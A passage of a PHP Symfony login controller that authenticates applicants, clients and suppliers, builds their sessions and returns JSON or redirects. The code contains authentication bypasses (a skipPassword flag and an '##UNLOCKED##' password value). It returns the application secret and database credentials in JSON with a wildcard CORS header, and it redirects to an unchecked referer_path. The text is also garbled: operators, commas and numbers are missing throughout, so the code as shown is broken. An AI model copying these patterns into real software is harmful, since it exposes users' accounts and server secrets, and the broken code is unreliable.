  2044.                                 $company_id_list $jd;
  2045.                             else
  2046.                                 $company_id_list = [1];
  2047.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2048.                             foreach ($company_id_list as $c) {
  2049.                                 $company_name_list[$c] = $companyList[$c]['name'];
  2050.                                 $company_image_list[$c] = $companyList[$c]['image'];
  2051.                             }
  2052.                             $user $client;
  2053.                         }
  2054.                     } else if ($applicantId != || $userType == UserConstants::USER_TYPE_APPLICANT) {
  2055.                         $em $this->getDoctrine()->getManager('company_group');
  2056.                         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  2057.                         if ($oAuthData) {
  2058.                             $oAuthEmail $oAuthData['email'];
  2059.                             $oAuthUniqueId $oAuthData['uniqueId'];
  2060.                             // Multi-email aware, injection-safe existence check. Replaces a
  2061.                             // hand-rolled comma-LIKE that both false-matched substrings
  2062.                             // (`LIKE '%email%'`) and interpolated the email straight into SQL.
  2063.                             $user = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$oAuthEmail);
  2064.                             if (!$user)
  2065.                                 $user $applicantRepo->findOneBy(['oAuthUniqueId' => $oAuthUniqueId]);
  2066.                         } else {
  2067.                             $user $applicantRepo->findOneBy(['username' => $userName]);
  2068.                             if (!$user)
  2069.                                 $user = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$email);
  2070.                             if (!$user)
  2071.                                 $user $applicantRepo->findOneBy(['phone' => $email]);
  2072.                         }
  2073.                         $redirect_login_page_twig "@Authentication/pages/views/login_new.html.twig";
  2074. //                        if($systemType=='_BUDDYBEE_')
  2075. //                            $redirect_login_page_twig="@Authentication/pages/views/applicant_login.html.twig";
  2076.                         if (!$user) {
  2077.                             $message "We could not find your username or email";
  2078.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2079.                                 return new JsonResponse(array(
  2080.                                     'uid' => $session->get(UserConstants::USER_ID),
  2081.                                     'session' => $session,
  2082.                                     'success' => false,
  2083.                                     'errorStr' => $message,
  2084.                                     'session_data' => [],
  2085.                                 ));
  2086.                             }
  2087.                             if ($systemType == '_BUDDYBEE_')
  2088.                                 return $this->redirectToRoute("applicant_login", [
  2089.                                     "message" => $message,
  2090.                                     "errorField" => 'username',
  2091.                                 ]);
  2092.                             else if ($systemType == '_CENTRAL_')
  2093.                                 return $this->redirectToRoute("central_login", [
  2094.                                     "message" => $message,
  2095.                                     "errorField" => 'username',
  2096.                                 ]);
  2097.                             else if ($systemType == '_SOPHIA_')
  2098.                                 return $this->redirectToRoute("sophia_login", [
  2099.                                     "message" => $message,
  2100.                                     "errorField" => 'username',
  2101.                                 ]);
  2102.                             else
  2103.                                 return $this->render($redirect_login_page_twig, array(
  2104.                                     "message" => $message,
  2105.                                     'page_title' => "Login",
  2106.                                     'gocList' => $gocDataList,
  2107.                                     'gocId' => $gocId
  2108.                                 ));
  2109.                         }
  2110.                         if ($user) {
  2111.                             if ($oAuthData) {
  2112.                                 // user passed
  2113.                             } else {
  2114.                                 if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  2115.                                 } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  2116. //                                    if ($user->getPassword() == $request->request->get('password')) {
  2117. //                                        // user passed
  2118. //                                    } else {
  2119.                                     $message "Oops! Wrong Password";
  2120.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'0)) == 1) {
  2121.                                         return new JsonResponse(array(
  2122.                                             'uid' => $session->get(UserConstants::USER_ID),
  2123.                                             'session' => $session,
  2124.                                             'success' => false,
  2125.                                             'errorStr' => $message,
  2126.                                             'session_data' => [],
  2127.                                         ));
  2128.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2129.                                         //                    return $response;
  2130.                                     }
  2131.                                     if ($systemType == '_BUDDYBEE_')
  2132.                                         return $this->redirectToRoute("applicant_login", [
  2133.                                             "message" => $message,
  2134.                                             "errorField" => 'password',
  2135.                                         ]);
  2136.                                     else if ($systemType == '_CENTRAL_')
  2137.                                         return $this->redirectToRoute("central_login", [
  2138.                                             "message" => $message,
  2139.                                             "errorField" => 'username',
  2140.                                         ]);
  2141.                                     else if ($systemType == '_SOPHIA_')
  2142.                                         return $this->redirectToRoute("sophia_login", [
  2143.                                             "message" => $message,
  2144.                                             "errorField" => 'username',
  2145.                                         ]);
  2146.                                     else
  2147.                                         return $this->render($redirect_login_page_twig, array(
  2148.                                             "message" => $message,
  2149.                                             'page_title' => "Login",
  2150.                                             'gocList' => $gocDataList,
  2151.                                             'gocId' => $gocId
  2152.                                         ));
  2153.                                 }
  2154.                             }
  2155.                         }
  2156.                         $jd = [];
  2157.                         if ($jd != null && $jd != '' && $jd != [])
  2158.                             $company_id_list $jd;
  2159.                         else
  2160.                             $company_id_list = [];
  2161. //                        $companyList = Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2162. //                        foreach ($company_id_list as $c) {
  2163. //                            $company_name_list[$c] = $companyList[$c]['name'];
  2164. //                            $company_image_list[$c] = $companyList[$c]['image'];
  2165. //                        }
  2166.                     };
  2167.                 } else {
  2168.                     if ($cookieLogin == 1) {
  2169.                         $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2170.                             array(
  2171.                                 'userId' => $userId
  2172.                             )
  2173.                         );
  2174.                     } else if ($encrypedLogin == 1) {
  2175.                         if (in_array($userType, [34]))
  2176.                             $specialLogin 1;
  2177.                         if ($userType == UserConstants::USER_TYPE_CLIENT) {
  2178.                             $user null;
  2179.                             if ($clientId 0) {
  2180.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  2181.                                     array(
  2182.                                         'clientId' => $clientId
  2183.                                     )
  2184.                                 );
  2185.                             }
  2186.                             if (!$user) {
  2187.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  2188.                                     array(
  2189.                                         'globalUserId' => $globalId
  2190.                                     )
  2191.                                 );
  2192.                             }
  2193. //
  2194.                             if ($user)
  2195.                                 $userId $user->getClientId();
  2196.                             $clientId $userId;
  2197.                         } else if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  2198.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccSuppliers')->findOneBy(
  2199.                                 array(
  2200.                                     'globalUserId' => $globalId
  2201.                                 )
  2202.                             );
  2203. //
  2204.                             if ($user)
  2205.                                 $userId $user->getSupplierId();
  2206.                             $supplierId $userId;
  2207.                         } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  2208. //                            $user = $em_goc->getRepository('CompanyGroupBundle\\Entity\\SysUser')->findOneBy(
  2209. //                                array(
  2210. //                                    'globalId' => $globalId
  2211. //                                )
  2212. //                            );
  2213. //
  2214. //                            if($user)
  2215. //                                $userId=$user->getUserId();
  2216. //                            $applicantId = $userId;
  2217.                         } else if ($userType == UserConstants::USER_TYPE_GENERAL || $userType == UserConstants::USER_TYPE_SYSTEM) {
  2218.                             $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2219.                                 array(
  2220.                                     'globalId' => $globalId
  2221.                                 )
  2222.                             );
  2223.                             if ($user)
  2224.                                 $userId $user->getUserId();
  2225.                         }
  2226.                     } else {
  2227.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2228.                             array(
  2229.                                 'userName' => $request->request->get('username')
  2230.                             )
  2231.                         );
  2232.                     }
  2233.                     if (!$user) {
  2234.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2235.                             array(
  2236.                                 'email' => $request->request->get('username'),
  2237.                                 'userName' => [null'']
  2238.                             )
  2239.                         );
  2240.                         if (!$user) {
  2241.                             $message "Wrong User Name";
  2242.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2243.                                 return new JsonResponse(array(
  2244.                                     'uid' => $session->get(UserConstants::USER_ID),
  2245.                                     'session' => $session,
  2246.                                     'success' => false,
  2247.                                     'errorStr' => $message,
  2248.                                     'session_data' => [],
  2249.                                 ));
  2250.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2251.                                 //                    return $response;
  2252.                             }
  2253.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2254.                                 "message" => $message,
  2255.                                 'page_title' => "Login",
  2256.                                 'gocList' => $gocDataList,
  2257.                                 'gocId' => $gocId
  2258.                             ));
  2259.                         } else {
  2260.                             //add the email as username as failsafe
  2261.                             $user->setUserName($request->request->get('username'));
  2262.                             $em->flush();
  2263.                         }
  2264.                     }
  2265.                     if ($user) {
  2266.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  2267.                             $message "Sorry, Your Account is Deactivated";
  2268.                             if ($request->request->get('remoteVerify'$request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify))) == 1) {
  2269.                                 return new JsonResponse(array(
  2270.                                     'uid' => $session->get(UserConstants::USER_ID),
  2271.                                     'session' => $session,
  2272.                                     'success' => false,
  2273.                                     'errorStr' => $message,
  2274.                                     'session_data' => [],
  2275.                                 ));
  2276.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2277.                                 //                    return $response;
  2278.                             }
  2279.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2280.                                 "message" => $message,
  2281.                                 'page_title' => "Login",
  2282.                                 'gocList' => $gocDataList,
  2283.                                 'gocId' => $gocId
  2284.                             ));
  2285.                         }
  2286.                     }
  2287.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  2288.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  2289.                         $message "Wrong Email/Password";
  2290.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2291.                             return new JsonResponse(array(
  2292.                                 'uid' => $session->get(UserConstants::USER_ID),
  2293.                                 'session' => $session,
  2294.                                 'success' => false,
  2295.                                 'errorStr' => $message,
  2296.                                 'session_data' => [],
  2297.                             ));
  2298.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2299.                             //                    return $response;
  2300.                         }
  2301.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2302.                             "message" => $message,
  2303.                             'page_title' => "Login",
  2304.                             'gocList' => $gocDataList,
  2305.                             'gocId' => $gocId
  2306.                         ));
  2307.                     }
  2308.                     $userType $user->getUserType();
  2309.                     $jd json_decode($user->getUserCompanyIdList(), true);
  2310.                     if ($jd != null && $jd != '' && $jd != [])
  2311.                         $company_id_list $jd;
  2312.                     else
  2313.                         $company_id_list = [$user->getUserCompanyId()];
  2314.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2315.                     foreach ($company_id_list as $c) {
  2316.                         if (isset($companyList[$c])) {
  2317.                             $company_name_list[$c] = $companyList[$c]['name'];
  2318.                             $company_image_list[$c] = $companyList[$c]['image'];
  2319.                             $company_dark_vibrant_list[$c] = $companyList[$c]['dark_vibrant'];
  2320.                             $company_light_vibrant_list[$c] = $companyList[$c]['light_vibrant'];
  2321.                             $company_vibrant_list[$c] = $companyList[$c]['vibrant'];
  2322.                         }
  2323.                     }
  2324.                 }
  2325. //                $data["email"] = $request->request->get('username') ? $request->request->get('username') : $oAuthData['email'];
  2326.                 if ($remember_me == 1)
  2327.                     $session->set('REMEMBERME'1);
  2328.                 else
  2329.                     $session->set('REMEMBERME'0);
  2330.                 $config = array(
  2331.                     'firstLogin' => $firstLogin,
  2332.                     'rememberMe' => $remember_me,
  2333.                     'notificationEnabled' => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2334.                     'notificationServer' => $this->getParameter('notification_server') == '' GeneralConstant::NOTIFICATION_SERVER $this->getParameter('notification_server'),
  2335.                     'applicationSecret' => $this->container->getParameter('secret'),
  2336.                     'gocId' => $gocId,
  2337.                     'appId' => $appIdFromUserName,
  2338.                     'gocDbName' => $gocDbName,
  2339.                     'gocDbUser' => $gocDbUser,
  2340.                     'gocDbHost' => $gocDbHost,
  2341.                     'gocDbPass' => $gocDbPass
  2342.                 );
  2343.                 $product_name_display_type 0;
  2344.                 if ($systemType != '_CENTRAL_') {
  2345.                     $product_name_display_settings $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSettings')->findOneBy(array(
  2346.                         'name' => 'product_name_display_method'
  2347.                     ));
  2348.                     if ($product_name_display_settings)
  2349.                         $product_name_display_type $product_name_display_settings->getData();
  2350.                 }
  2351.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  2352.                     $userCompanyId 1;
  2353.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2354.                     if (isset($companyList[$userCompanyId])) {
  2355.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2356.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2357.                         $company_locale $companyList[$userCompanyId]['locale'];
  2358.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2359.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2360.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2361.                     }
  2362.                     // General User
  2363.                     $session->set(UserConstants::USER_ID$user->getSupplierId());
  2364.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2365.                     $session->set(UserConstants::SUPPLIER_ID$user->getSupplierId());
  2366.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_SUPPLIER);
  2367.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2368.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2369.                     $session->set(UserConstants::USER_NAME$user->getSupplierName());
  2370.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  2371.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  2372.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2373.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2374.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2375.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2376.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2377.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2378.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2379.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  2380.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  2381.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  2382.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2383.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2384.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2385.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2386.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2387.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2388.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2389.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2390.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2391.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2392.                     //                $PL=json_decode($user->getPositionIds(), true);
  2393.                     $route_list_array = [];
  2394.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  2395.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  2396.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2397.                     $loginID 0;
  2398.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2399.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2400.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2401.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2402.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2403.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2404.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2405.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2406.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2407.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2408.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  2409.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2410.                         $session->set('remoteVerified'1);
  2411.                         $session_data = array(
  2412.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  2413.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2414.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2415.                             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  2416.                             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  2417.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  2418.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  2419.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  2420.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  2421.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  2422.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  2423.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  2424.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  2425.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  2426.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  2427.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2428.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2429.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2430.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  2431.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  2432.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  2433.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  2434.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  2435.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  2436.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  2437.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  2438.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  2439.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  2440.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  2441.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  2442.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2443.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2444.                         );
  2445.                         $session_data $this->filterClientSessionData($session_data);
  2446.                         $response = new JsonResponse(array(
  2447.                             'uid' => $session->get(UserConstants::USER_ID),
  2448.                             'session' => $session,
  2449.                             'success' => true,
  2450.                             'session_data' => $session_data,
  2451.                         ));
  2452.                         $response->headers->set('Access-Control-Allow-Origin''*');
  2453.                         return $response;
  2454.                     }
  2455.                     if ($request->request->has('referer_path')) {
  2456.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  2457.                             return $this->redirect($request->request->get('referer_path'));
  2458.                         }
  2459.                     }
  2460.                     //                    if($request->request->has('gocId')
  2461.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  2462.                     return $this->redirectToRoute("supplier_dashboard");
  2463.                     //                    else
  2464.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  2465.                 } else if ($userType == UserConstants::USER_TYPE_CLIENT) {
  2466.                     // General User
  2467.                     $userCompanyId 1;
  2468.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2469.                     if (isset($companyList[$userCompanyId])) {
  2470.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2471.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2472.                         $company_locale $companyList[$userCompanyId]['locale'];
  2473.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2474.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2475.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2476.                     }
  2477.                     $session->set(UserConstants::USER_ID$user->getClientId());
  2478.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2479.                     $session->set(UserConstants::CLIENT_ID$user->getClientId());
  2480.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_CLIENT);
  2481.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2482.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2483.                     $session->set(UserConstants::USER_NAME$user->getClientName());
  2484.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  2485.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  2486.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2487.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2488.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2489.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2490.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2491.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2492.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  2493.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  2494.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  2495.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2496.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2497.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2498.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2499.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2500.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2501.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2502.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2503.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2504.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2505.                     //                $PL=json_decode($user->getPositionIds(), true);
  2506.                     $route_list_array = [];
  2507.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  2508.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  2509.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2510.                     $loginID 0;
  2511.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2512.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2513.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2514.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2515.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2516.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2517.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2518.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2519.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2520.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2521.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  2522.                     $session_data = array(
  2523.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  2524.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2525.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2526.                         UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  2527.                         UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  2528.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  2529.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  2530.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  2531.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  2532.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  2533.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  2534.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  2535.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  2536.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  2537.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  2538.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  2539.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  2540.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  2541.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  2542.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  2543.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2544.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2545.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2546.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  2547.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  2548.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  2549.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  2550.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  2551.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  2552.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  2553.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2554.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2555.                     );
  2556.                     $session_data $this->filterClientSessionData($session_data);
  2557.                     $session_data $this->filterClientSessionData($session_data);
  2558.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  2559.                     $session_data $tokenData['sessionData'];
  2560.                     $token $tokenData['token'];
  2561.                     $session->set('token'$token);
  2562.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2563.                         $session->set('remoteVerified'1);
  2564.                         $response = new JsonResponse(array(
  2565.                             'uid' => $session->get(UserConstants::USER_ID),
  2566.                             'session' => $session,
  2567.                             'token' => $token,
  2568.                             'success' => true,
  2569.                             'session_data' => $session_data,
  2570.                         ));
  2571.                         $response->headers->set('Access-Control-Allow-Origin''*');
  2572.                         return $response;
  2573.                     }
  2574.                     if ($request->request->has('referer_path')) {
  2575.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  2576.                             return $this->redirect($request->request->get('referer_path'));
  2577.                         }
